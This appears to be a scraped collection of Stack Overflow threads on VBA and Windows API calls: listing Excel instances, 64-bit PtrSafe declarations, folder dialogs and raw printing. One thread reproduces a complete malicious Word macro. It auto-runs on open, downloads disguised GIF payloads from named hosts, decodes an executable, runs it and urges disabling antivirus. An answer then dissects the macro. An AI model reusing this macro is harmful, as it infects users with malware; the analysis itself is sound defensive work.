Related
I want to use something similar to
GetObject(,"Excel.Application") to get back the application I created.
I call CreateObject("Excel.Application") to create Excel instances. Later if the VBA project resets, due to debugging and coding, the Application object variables are lost but the Excel instances are running in the background. Kind of a memory leak situation.
I want to re-attach to either re-use (preferred way) or close them.
To list the running instances of Excel:
#If VBA7 Then
Private Declare PtrSafe Function AccessibleObjectFromWindow Lib "oleacc" ( _
ByVal hwnd As LongPtr, ByVal dwId As Long, riid As Any, ppvObject As Object) As Long
Private Declare PtrSafe Function FindWindowExA Lib "user32" ( _
ByVal hwndParent As LongPtr, ByVal hwndChildAfter As LongPtr, _
ByVal lpszClass As String, ByVal lpszWindow As String) As LongPtr
#Else
Private Declare Function AccessibleObjectFromWindow Lib "oleacc" ( _
ByVal hwnd As Long, ByVal dwId As Long, riid As Any, ppvObject As Object) As Long
Private Declare Function FindWindowExA Lib "user32" ( _
ByVal hwndParent As Long, ByVal hwndChildAfter As Long, _
ByVal lpszClass As String, ByVal lpszWindow As String) As Long
#End If
Sub Test()
Dim xl As Application
For Each xl In GetExcelInstances()
Debug.Print "Handle: " & xl.ActiveWorkbook.FullName
Next
End Sub
Public Function GetExcelInstances() As Collection
Dim guid&(0 To 3), acc As Object, hwnd, hwnd2, hwnd3
guid(0) = &H20400
guid(1) = &H0
guid(2) = &HC0
guid(3) = &H46000000
Set GetExcelInstances = New Collection
Do
hwnd = FindWindowExA(0, hwnd, "XLMAIN", vbNullString)
If hwnd = 0 Then Exit Do
hwnd2 = FindWindowExA(hwnd, 0, "XLDESK", vbNullString)
hwnd3 = FindWindowExA(hwnd2, 0, "EXCEL7", vbNullString)
If AccessibleObjectFromWindow(hwnd3, &HFFFFFFF0, guid(0), acc) = 0 Then
GetExcelInstances.Add acc.Application
End If
Loop
End Function
This would be best as a comment on Florent B.'s very useful function that returns a collection of the open Excel instances, but I don't have sufficient reputation to add comments. In my tests, the collection contained "repeats" of the same Excel instances i.e. GetExcelInstances().Count was larger than it should have been. A fix for that is the use of the AlreadyThere variable in the version below.
Private Function GetExcelInstances() As Collection
Dim guid&(0 To 3), acc As Object, hwnd, hwnd2, hwnd3
guid(0) = &H20400
guid(1) = &H0
guid(2) = &HC0
guid(3) = &H46000000
Dim AlreadyThere As Boolean
Dim xl As Application
Set GetExcelInstances = New Collection
Do
hwnd = FindWindowExA(0, hwnd, "XLMAIN", vbNullString)
If hwnd = 0 Then Exit Do
hwnd2 = FindWindowExA(hwnd, 0, "XLDESK", vbNullString)
hwnd3 = FindWindowExA(hwnd2, 0, "EXCEL7", vbNullString)
If AccessibleObjectFromWindow(hwnd3, &HFFFFFFF0, guid(0), acc) = 0 Then
AlreadyThere = False
For Each xl In GetExcelInstances
If xl Is acc.Application Then
AlreadyThere = True
Exit For
End If
Next
If Not AlreadyThere Then
GetExcelInstances.Add acc.Application
End If
End If
Loop
End Function
#PGS62/#Philip Swannell has the correct answer for returning a Collection; I can iterate all instances; and it is brilliant, as #M1chael comment.
Let's not confuse Application objects with Workbook objects... ...Of
course it would be possible to write a nested loop that loops over the
workbooks collection of each application object
This is the nested loop implemented and fully functional:
Sub Test2XL()
Dim xl As Excel.Application
Dim i As Integer
For Each xl In GetExcelInstances()
Debug.Print "Handle: " & xl.Application.hwnd
Debug.Print "# workbooks: " & xl.Application.Workbooks.Count
For i = 1 To xl.Application.Workbooks.Count
Debug.Print "Workbook: " & xl.Application.Workbooks(i).Name
Debug.Print "Workbook path: " & xl.Application.Workbooks(i).path
Next i
Next
Set xl = Nothing
End Sub
And, for Word instances, the nested loop:
Sub Test2Wd()
Dim wd As Word.Application
Dim i As Integer
For Each wd In GetWordInstancesCol()
Debug.Print "Version: " & wd.System.Version
Debug.Print "# Documents: " & wd.Application.Documents.Count
For i = 1 To wd.Application.Documents.Count
Debug.Print "Document: " & wd.Application.Documents(i).Name
Debug.Print "Document path: " & wd.Application.Documents(i).path
Next i
Next
Set wd = Nothing
End Sub
For Word you have to use what is explained in the end of this thread
I use the following to check if two instances are running, and display a message. It could be altered to close other instance... This may be of help... I need code to return a specific instance, and return for use similar to GetObject(,"Excel.Application")... I don't think it possible though
If checkIfExcelRunningMoreThanOneInstance() Then Exit Function
In module (some of the declarations are possible used for other code):
Const MaxNumberOfWindows = 10
Const HWND_TOPMOST = -1
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Global ret As Integer
Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Public Declare Function GetParent Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function FindWindow Lib "user32" _
Alias "FindWindowA" _
(ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Private Const VK_CAPITAL = &H14
Private Declare Function GetKeyState Lib "user32" _
(ByVal nVirtKey As Long) As Integer
Private Declare Function OpenProcess Lib "kernel32" ( _
ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hObject As Long) As Long
Private Declare Function EnumProcesses Lib "PSAPI.DLL" ( _
lpidProcess As Long, ByVal cb As Long, cbNeeded As Long) As Long
Private Declare Function EnumProcessModules Lib "PSAPI.DLL" ( _
ByVal hProcess As Long, lphModule As Long, ByVal cb As Long, lpcbNeeded As Long) As Long
Private Declare Function GetModuleBaseName Lib "PSAPI.DLL" Alias "GetModuleBaseNameA" ( _
ByVal hProcess As Long, ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Const PROCESS_VM_READ = &H10
Private Const PROCESS_QUERY_INFORMATION = &H400
Global ExcelWindowName$ 'Used to switch back to later
Function checkIfExcelRunningMoreThanOneInstance()
'Check instance it is 1, else ask user to reboot excel, return TRUE to abort
ExcelWindowName = excel.Application.Caption 'Used to switch back to window later
If countProcessRunning("excel.exe") > 1 Then
Dim t$
t = "Two copies of 'Excel.exe' are running, which may stop in cell searching from working!" & vbCrLf & vbCrLf & "Please close all copies of Excel." & vbCrLf & _
" (1 Then press Alt+Ctrl+Del to go to task manager." & vbCrLf & _
" (2 Search the processes running to find 'Excel.exe'" & vbCrLf & _
" (3 Select it and press [End Task] button." & vbCrLf & _
" (4 Then reopen and use PostTrans"
MsgBox t, vbCritical, ApplicationName
End If
End Function
Private Function countProcessRunning(ByVal sProcess As String) As Long
Const MAX_PATH As Long = 260
Dim lProcesses() As Long, lModules() As Long, N As Long, lRet As Long, hProcess As Long
Dim sName As String
countProcessRunning = 0
sProcess = UCase$(sProcess)
ReDim lProcesses(1023) As Long
If EnumProcesses(lProcesses(0), 1024 * 4, lRet) Then
For N = 0 To (lRet \ 4) - 1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, 0, lProcesses(N))
If hProcess Then
ReDim lModules(1023)
If EnumProcessModules(hProcess, lModules(0), 1024 * 4, lRet) Then
sName = String$(MAX_PATH, vbNullChar)
GetModuleBaseName hProcess, lModules(0), sName, MAX_PATH
sName = Left$(sName, InStr(sName, vbNullChar) - 1)
If Len(sName) = Len(sProcess) Then
If sProcess = UCase$(sName) Then
countProcessRunning = countProcessRunning + 1
End If
End If
End If
End If
CloseHandle hProcess
Next N
End If
End Function
The I found:
Dim xlApp As Excel.Application
Set xlApp = GetObject("ExampleBook.xlsx").Application
Which gets the object if you know the name of the sheet currently active in Excel instance. I guess this could be got from the application title using the first bit of code. In my app I do know the filename.
This can accomplish what you want.
Determine if an instance of Excel is open:
Dim xlApp As Excel.Application
Set xlApp = GetObject(, "Excel.Application")
If an instance is running you can access it using the xlApp object. If an instance is not running you will get a run-time error (you might need/want an error handler). The GetObject function gets the first instance of Excel that had been loaded. You can do your job with it, and to get to others, you can close that one and then try GetObject again to get the next one, etc.
So you will be attaining your ok-but-second-preferred objective
(taken from http://excelribbon.tips.net/T009452_Finding_Other_Instances_of_Excel_in_a_Macro.html).
For attaining your preferred objective, I think that https://stackoverflow.com/a/3303016/2707864 shows you how.
Create an array of objects and store the newly created Excel.Application in the array. That way you can reference them as and when you need. Let's take a quick example:
In a module:
Dim ExcelApp(2) As Object
Sub Test()
Set ExcelApp(1) = CreateObject("Excel.Application")
ExcelApp(1).Visible = True
Set ExcelApp(2) = CreateObject("Excel.Application")
ExcelApp(2).Visible = True
End Sub
Sub AnotherTest()
ExcelApp(1).Quit
ExcelApp(2).Quit
End Sub
Run Test() macro and you should see two Excel Applications pop up. Then run AnotherTest() and the Excel Applications will quit. You can even set the array to Nothing after you are done.
You can get handle of running Excel applications using the script published on http://www.ozgrid.com/forum/showthread.php?t=182853. That should get you where you want to go.
You should use this code every time you need an Excel application object. This way, your code will only ever work with one application object or use a pre-existing one. The only way you could end up with more than one is if the user started more than one. This is both the code to open Excel and attach and reuse, like you want.
Public Function GetExcelApplication() As Object
On Error GoTo openExcel
Set GetExcelApplication = GetObject(, "Excel.Application")
Exit Function
openExcel:
If Err.Number = 429 Then
Set GetExcelApplication = CreateObject("Excel.Application")
Else
Debug.Print "Unhandled exception: " & Err.Number & " " & Err.Description
End If
End Function
If you wanted to close multiple instances you would need to call GetObject followed by .Close in a loop until it throws the error 429.
The details can be found in this Article
I am having trouble with the following a declaration statement as below:
Private Declare Function WNetGetUser Lib "mpr.dll" Alias "WNetGetUserA" (ByVal lpName As String, ByVal lpUserName As String, lpnLength As Long) As Long
The error is asking for a PtrSafe attribute.
Try this Declaration, please:
Private Declare PtrSafe Function WNetGetUser Lib "mpr.dll" Alias "WNetGetUserA" _
(ByVal lpName As String, ByVal lpUserName As String, lpnLength As Long) As Long
And use the next function to retrieve the logged user name:
Function GetUserName() As String
Const lpnLength As Long = 255
Dim status As Long, lpName, lpUserName As String
'Assign the buffer size constant to lpUserName.
lpUserName = Space$(lpnLength + 1)
status = WNetGetUser(lpName, lpUserName, lpnLength)
'See whether error occurred.
If status = 0 Then
lpUserName = Left$(lpUserName, InStr(lpUserName, Chr(0)) - 1)
End If
GetUserName = lpUserName
End Function
It can be called:
Sub TestUserName()
Debug.Print GetUserName
End Sub
All above, only if you insist to use API...
But VBA has its simple way of obtaining it:
Debug.Print Application.UserName
If you not like it, using VBScript (in VBA) may help:
Sub testUserNameVBSCript()
Dim userName As String
userName = CreateObject("WScript.Network").userName
Debug.Print userName
End Sub
This VBA program worked for 32-bit PPT 2007 but when I used it for 64-bit PPT 2013, there was an error even when I added PtrSafe infront of Public Declare.
There was a type miss match in this function: AddressOf BrowseCallbackProc
(in the middle of Public Function Get_IMGFolderName())
I would like some advice on how to solve this problem.
I have been coding as a hobby so I do not know much.
Thankyou
Option Explicit
Public Declare PtrSafe Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare PtrSafe Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long
Public Declare PtrSafe Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long
Public Declare PtrSafe Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long
Public Type BrowseInfo
hwndOwner As Long
pIDLRoot As Long
pszDisplayName As Long
lpszstrMsg As Long
ulFlags As Long
lpfnCallback As Long
lParam As Long
iImage As Long
End Type
Public Const BIF_STATUSTEXT = &H4&
Public Const BIF_RETURNONLYFSDIRS = 1
Public Const BIF_DONTGOBELOWDOMAIN = 2
Public Const MAX_PATH = 260
Public Const WM_USER = &H400
Public Const BFFM_INITIALIZED = 1
Public Const BFFM_SELCHANGED = 2
Public Const BFFM_SETSTATUSTEXT = (WM_USER + 100)
Public Const BFFM_SETSELECTION = (WM_USER + 102)
Public strCurDir As String '현재 디렉토리
Public Enum CHOOSE_COLOR_FLAGS
CC_RGBINIT = &H1&
CC_FULLOPEN = &H2&
CC_PREVENTFULLOPEN = &H4&
CC_SHOWHELP = &H8&
CC_ENABLEHOOK = &H10&
CC_ENABLETEMPLATE = &H20&
CC_ENABLETEMPLATEHANDLE = &H40&
CC_SOLIDCOLOR = &H80&
CC_ANYCOLOR = &H100&
End Enum
Private Type CHOOSECOLOR
lStructSize As Long
hwndOwner As Long
hInstance As Long
rgbResult As Long
lpCustColors As Long
flags As CHOOSE_COLOR_FLAGS
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Private Declare PtrSafe Function ChooseColor_API Lib "comdlg32.dll" Alias "ChooseColorA" (lpChoosecolor As CHOOSECOLOR) As Long
Function Delete_Sheets()
'ActiveWindow.View.GotoSlide ActivePresentation.Slides.Count
While ActivePresentation.Slides.Count > 0
ActiveWindow.Selection.SlideRange.Delete
Wend
End Function
Public Function Get_IMGFolderName() As String
Dim lpIDList As Long
Dim szstrMsg As String
Dim strBuffer As String
Dim tBrowseInfo As BrowseInfo
Dim strDir As String
strCurDir = frmBible.lblIMGFolder.Caption & vbNullChar
szstrMsg = "바탕그림용 이미지가 들어 있는 폴더를 지정해주세요"
With tBrowseInfo
.hwndOwner = 0
.lpszstrMsg = lstrcat(szstrMsg, "")
.ulFlags = BIF_RETURNONLYFSDIRS + BIF_DONTGOBELOWDOMAIN + BIF_STATUSTEXT
.lpfnCallback = GetAddressofFunction(AddressOf BrowseCallbackProc) 'get address of function.
End With
lpIDList = SHBrowseForFolder(tBrowseInfo)
If (lpIDList) Then
strBuffer = Space(MAX_PATH)
SHGetPathFromIDList lpIDList, strBuffer
strBuffer = Left(strBuffer, InStr(strBuffer, vbNullChar) - 1)
Get_IMGFolderName = strBuffer
Else
Get_IMGFolderName = ""
End If
End Function
Public Function Remove_Special_Chars(intxt) As String
Dim wkstr As String
Dim p As Integer, c, uc
wkstr = ""
While Len(intxt) > 0
c = Left(intxt, 1)
uc = UCase(c)
If c >= "가" And c <= "힝" Then
wkstr = wkstr & c
ElseIf uc >= "A" And uc <= "Z" Then
wkstr = wkstr & c
ElseIf uc >= "0" And uc <= "9" Then
wkstr = wkstr & c
End If
intxt = Mid(intxt, 2)
Wend
Remove_Special_Chars = wkstr
End Function
Public Function Return_PathName(full_Path As String)
'return path name only
Dim p As Integer, ps As Integer
ps = 1
p = 1
Do While p > 0
p = InStr(ps, full_Path, "\", vbBinaryCompare)
If p > 0 Then
ps = p + 1
End If
Loop
Return_PathName = Left(full_Path, ps - 1)
End Function
Public Function Return_FileName(full_Path As String)
' return file name only
Dim p As Integer, ps As Integer
ps = 1
p = 1
Do While p > 0
p = InStr(ps, full_Path, "\", vbBinaryCompare)
If p > 0 Then
ps = p + 1
End If
Loop
Return_FileName = Mid(full_Path, ps)
End Function
Public Function Return_FolderName(full_Path)
' return folder name only
Dim p As Integer
p = InStrRev(full_Path, "\", Len(full_Path) - 1)
Return_FolderName = Mid(full_Path, p + 1)
End Function
Public Function BrowseCallbackProc(ByVal hWnd As Long, ByVal uMsg As Long, ByVal lp As Long, ByVal pData As Long) As Long
Dim lpIDList As Long
Dim lngRet As Long
Dim strBuffer As String
On Error Resume Next
Select Case uMsg
Case BFFM_INITIALIZED
Call SendMessage(hWnd, BFFM_SETSELECTION, 1, strCurDir)
Case BFFM_SELCHANGED
strBuffer = Space(MAX_PATH)
lngRet = SHGetPathFromIDList(lp, strBuffer)
If lngRet = 1 Then
Call SendMessage(hWnd, BFFM_SETSTATUSTEXT, 0, strBuffer)
End If
End Select
On Error GoTo 0
BrowseCallbackProc = 0
End Function
Public Function GetAddressofFunction(lngAdd As Long) As Long
GetAddressofFunction = lngAdd
End Function
Public Function FileDateInfo(filespec)
Dim fs, f
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.GetFile(filespec)
FileDateInfo = f.DateLastModified
End Function
Public Function WinRegistry_CommonGet()
Dim TmpName As String
Dim i As Integer
Dim x
Version_Release = GetSetting("BibleChoir", "LatestVal", "Version_Release", "vv.rr")
frmBible.lblIMGFolder.Caption = GetSetting("BibleChoir", "LatestVal", "IMGFolder", "없음")
'frmPicture.sldBright = GetSetting(appname:="BibleChoir", section:="LatestVal", key:="Bright", Default:=70)
frmBible.chkEachPage = GetSetting("BibleChoir", "LatestVal", "EachPage", False)
File2Open = frmBible.lblIMGFolder.Caption
If File2Open <> "없음" Then
On Error Resume Next
frmBible.ImgPreview.Picture = LoadPicture(File2Open)
End If
On Error GoTo 0
End Function
Public Function WinRegistry_CommonSave()
Dim i As Integer
SaveSetting "BibleChoir", "LatestVal", "Version_Release", Version_Release
SaveSetting "BibleChoir", "LatestVal", "IMGFolder", frmBible.lblIMGFolder.Caption
'SaveSetting "BibleChoir", "LatestVal", "Bright", frmPicture.sldBright
SaveSetting "BibleChoir", "LatestVal", "EachPage", frmBible.chkEachPage
End Function
You need to do more than just add the PtrSafe declaration. Some of your Long data types also need to be converted to LongPtr.
#If VBA7 Then
Public Declare PtrSafe Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As LongPtr, ByVal wMsg As Long, ByVal wParam As LongPtr, _
ByVal lParam As String) As LongPtr
Public Declare PtrSafe Function SHBrowseForFolder Lib "shell32" _
(lpbi As BrowseInfo) As LongPtr
Public Declare PtrSafe Function SHGetPathFromIDList Lib "shell32" _
(ByVal pidList As LongPtr, ByVal lpBuffer As String) As LongPtr
Public Declare PtrSafe Function lstrcat Lib "kernel32" Alias "lstrcatA" _
(ByVal lpString1 As String, ByVal lpString2 As String) As Long
#Else
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" _
(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _
ByVal lParam As String) As Long
Public Declare Function SHBrowseForFolder Lib "shell32" _
(lpbi As BrowseInfo) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32" _
(ByVal pidList As Long, ByVal lpBuffer As String) As Long
Public Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" _
(ByVal lpString1 As String, ByVal lpString2 As String) As Long
#End If
From Microsoft Docs:
Note Declare statements with the PtrSafe keyword is the recommended syntax. Declare statements that include PtrSafe work correctly in the VBA7 development environment on both 32-bit and 64-bit platforms only after all data types in the Declare statement (parameters and return values) that need to store 64-bit quantities are updated to use LongLong for 64-bit integrals or LongPtr for pointers and handles. To ensure backwards compatibility with VBA version 6 and earlier use the following construct:
#If VBA7 Then
Declare PtrSafe Sub...
#Else
Declare Sub...
#EndIf
When running in 64-bit versions of Office Declare statements must include the PtrSafe keyword. The PtrSafe keyword asserts that a Declare statement is safe to run in 64-bit development environments. Adding the PtrSafe keyword to a Declare statement only signifies the Declare statement explicitly targets 64-bits, all data types within the statement that need to store 64-bits (including return values and parameters) must still be modified to hold 64-bit quantities using either LongLong for 64-bit integrals or LongPtr for pointers and handles.
Sample context to let stack over flow post this question.
Here he tries to combine its working for mac and windows I suppose.
#If VBA7 And Win64 Then
Private Declare PtrSafe Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
this attacker seems to open this doc.
Sub Document_Open()
Dim wyqud As String
Dim zdwie As Long
Dim rufhd As Long
Dim bldos As Integer
Dim mufid() As Byte
#If Win64 Then
Dim kmvbf As LongLong
#Else
Dim kmvbf As Long
#End If
What is this doing?
ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100
Set myRange = ActiveDocument.Content
With myRange.Font
.Name = "Verdana"
.Size = 14
End With
ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & " Please wait..."
Is this supposed to damage my computer?
DoEvents
DoEvents
DoEvents
DoEvents
wyqud = lwyfu
zdwie = Gshwjf(0, "http://adenzia.ch/_vti_cnf/bug.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
If zdwie <> 0 And rufhd < 152143 Then
zdwie = Gshwjf(0, "http://kingofstreets.de/class/meq.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
End If
If rufhd < 154743 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If
bldos = FreeFile
Open wyqud For Binary As #bldos
ReDim mufid(0 To LOF(bldos) - 1)
Get #bldos, , mufid()
Close #bldos
Call duwif(mufid())
Dont know what this is doing
wyqud = Left(wyqud, Len(wyqud) - 3)
wyqud = wyqud & "exe"
bldos = FreeFile
Open wyqud For Binary As #bldos
Put #bldos, , mufid()
Close #bldos
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"
End Sub
cleverly written unreadable code.
Public Function lwyfu() As String
Dim djfie As String * 512
Dim pwifu As String * 576
Dim dwuf As Long
Dim wefkg As String
dwuf = Uhdwuud(512, djfie)
If (dwuf > 0 And dwuf < 512) Then
dwuf = Uhduiuwd(djfie, 0, 0, pwifu)
If dwuf <> 0 Then
wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
End If
lwyfu = wefkg
End If
End Function
another function
Public Sub duwif(mufid() As Byte)
Dim dfety As Long
Dim bvjwi As Long
Dim wbdys As Long
Dim dvywi(256) As Byte
Dim wdals As Long
Dim dwiqh As Long
bvjwi = UBound(mufid) + 1
For dfety = 10 To 265
dvywi(dfety - 10) = mufid(dfety)
Next
wdals = UBound(dvywi) + 1
dwiqh = 0
For dfety = 266 To (bvjwi - 267)
mufid(dfety - 266) = mufid(dfety) Xor dvywi(dwiqh)
dwiqh = dwiqh + 1
If dwiqh = (wdals - 1) Then
dwiqh = 0
End If
Next
ReDim Preserve mufid(bvjwi - 267)
End Sub
end of the macro
The comments are correct; the macro downloads malware/spyware and executes it.
It tries both GIF URLs (and even prompts the user to disable their firewall/AV if the download fails). The two GIFs are identical (same SHA256 checksum), they have the appropriate GIF header block ("GIF89a"), and they even have some of the bytes describing what should be the image data.
The macro uses the duwif() subroutine (line 105) to extract the executable binary from the downloaded GIF. It stores that binary in a temp file, the reference for which is created by the lwyfu() function (line 90).
The macro then executes the binary on line 82:
kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
You can modify the macro to remove/comment the execution statement and insert something harmless. For example:
REM kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
MsgBox wyqud
This opens a message box with the path to the extracted binary instead of executing it.
The binary checksum is (SHA256)
55f4cc0f9258efc270aa5e6a3b7acde29962fe64b40c2eb36ef08a7a1369a5bd
Several anti-virus providers flag this file as malware and an automated analysis shows some suspicious behavior.
VirusTotal.com Report
Hybrid-Analysis.com Report
I want to print text line by line by passing raw text per line to dot matrix in vb.net. Is that Possible
Something like Printf in c
It is not my intention to provide The Answer, but as a supplementary answer -
The following is (unmanaged) VB6 code which does what you want but could easily be converted to be more .NET friendly:
Public Type DOCINFO
pDocName As String
pOutputFile As String
pDatatype As String
End Type
Declare Function ClosePrinter Lib "winspool.drv" (ByVal hPrinter As Long) As Long
Declare Function EndDocPrinter Lib "winspool.drv" (ByVal hPrinter As Long) As Long
Declare Function EndPagePrinter Lib "winspool.drv" (ByVal hPrinter As Long) As Long
Declare Function OpenPrinter Lib "winspool.drv" Alias "OpenPrinterA" (ByVal pPrinterName As String, phPrinter As Long, ByVal pDefault As Long) As Long
Declare Function StartDocPrinter Lib "winspool.drv" Alias "StartDocPrinterA" (ByVal hPrinter As Long, ByVal Level As Long, pDocInfo As DOCINFO) As Long
Declare Function StartPagePrinter Lib "winspool.drv" (ByVal hPrinter As Long) As Long
Declare Function WritePrinter Lib "winspool.drv" (ByVal hPrinter As Long, pBuf As Any, ByVal cdBuf As Long, pcWritten As Long) As Long
Public Function PrintRawData(ByVal sPrinter As String, ByVal sDocName As String, ByVal sData As String) As Boolean
On Error GoTo PrintErr:
Dim lhPrinter As Long, lReturn As Long, lpcWritten As Long
Dim lDoc As Long, sWrittenData As String
Dim MyDocInfo As DOCINFO
Dim pOutput As Printer
Dim p As Printer
For Each p In Printers
If p.DeviceName = sPrinter Then
Set pOutput = p
GoTo StartPrinting
End If
Next p
MsgBox "Unable to find the specified printer [" & sPrinter & _
"] in the list of currently installed printers" & vbCrLf & _
"Printing will be aborted", vbCritical
Exit Function
StartPrinting:
lReturn = OpenPrinter(pOutput.DeviceName, lhPrinter, 0)
If lReturn = 0 Then
MsgBox "Print was unsuccessful. Make sure there is a printer installed on the port you are trying to print to"
Exit Function
End If
MyDocInfo.pDocName = sDocName
MyDocInfo.pOutputFile = vbNullString
MyDocInfo.pDatatype = vbNullString
lDoc = StartDocPrinter(lhPrinter, 1, MyDocInfo)
Call StartPagePrinter(lhPrinter)
sWrittenData = sData
lReturn = WritePrinter(lhPrinter, ByVal sWrittenData, Len(sWrittenData), lpcWritten)
lReturn = EndPagePrinter(lhPrinter) 'need this??
lReturn = EndDocPrinter(lhPrinter)
lReturn = ClosePrinter(lhPrinter)
Exit Function
PrintErr:
MsgBox "Print was unsuccessful. Make sure there is a printer installed on the port you are trying to print to"
Exit Function
End Function
To use it you need to install a printer that uses the correct port using any driver (I generally use the Generic / text Only Driver) and then call it as follows replacing the Hello with the data you want to send to the printer including control characters etc:
PrintRawData "Generic / Text Only", "My Document", "Hello"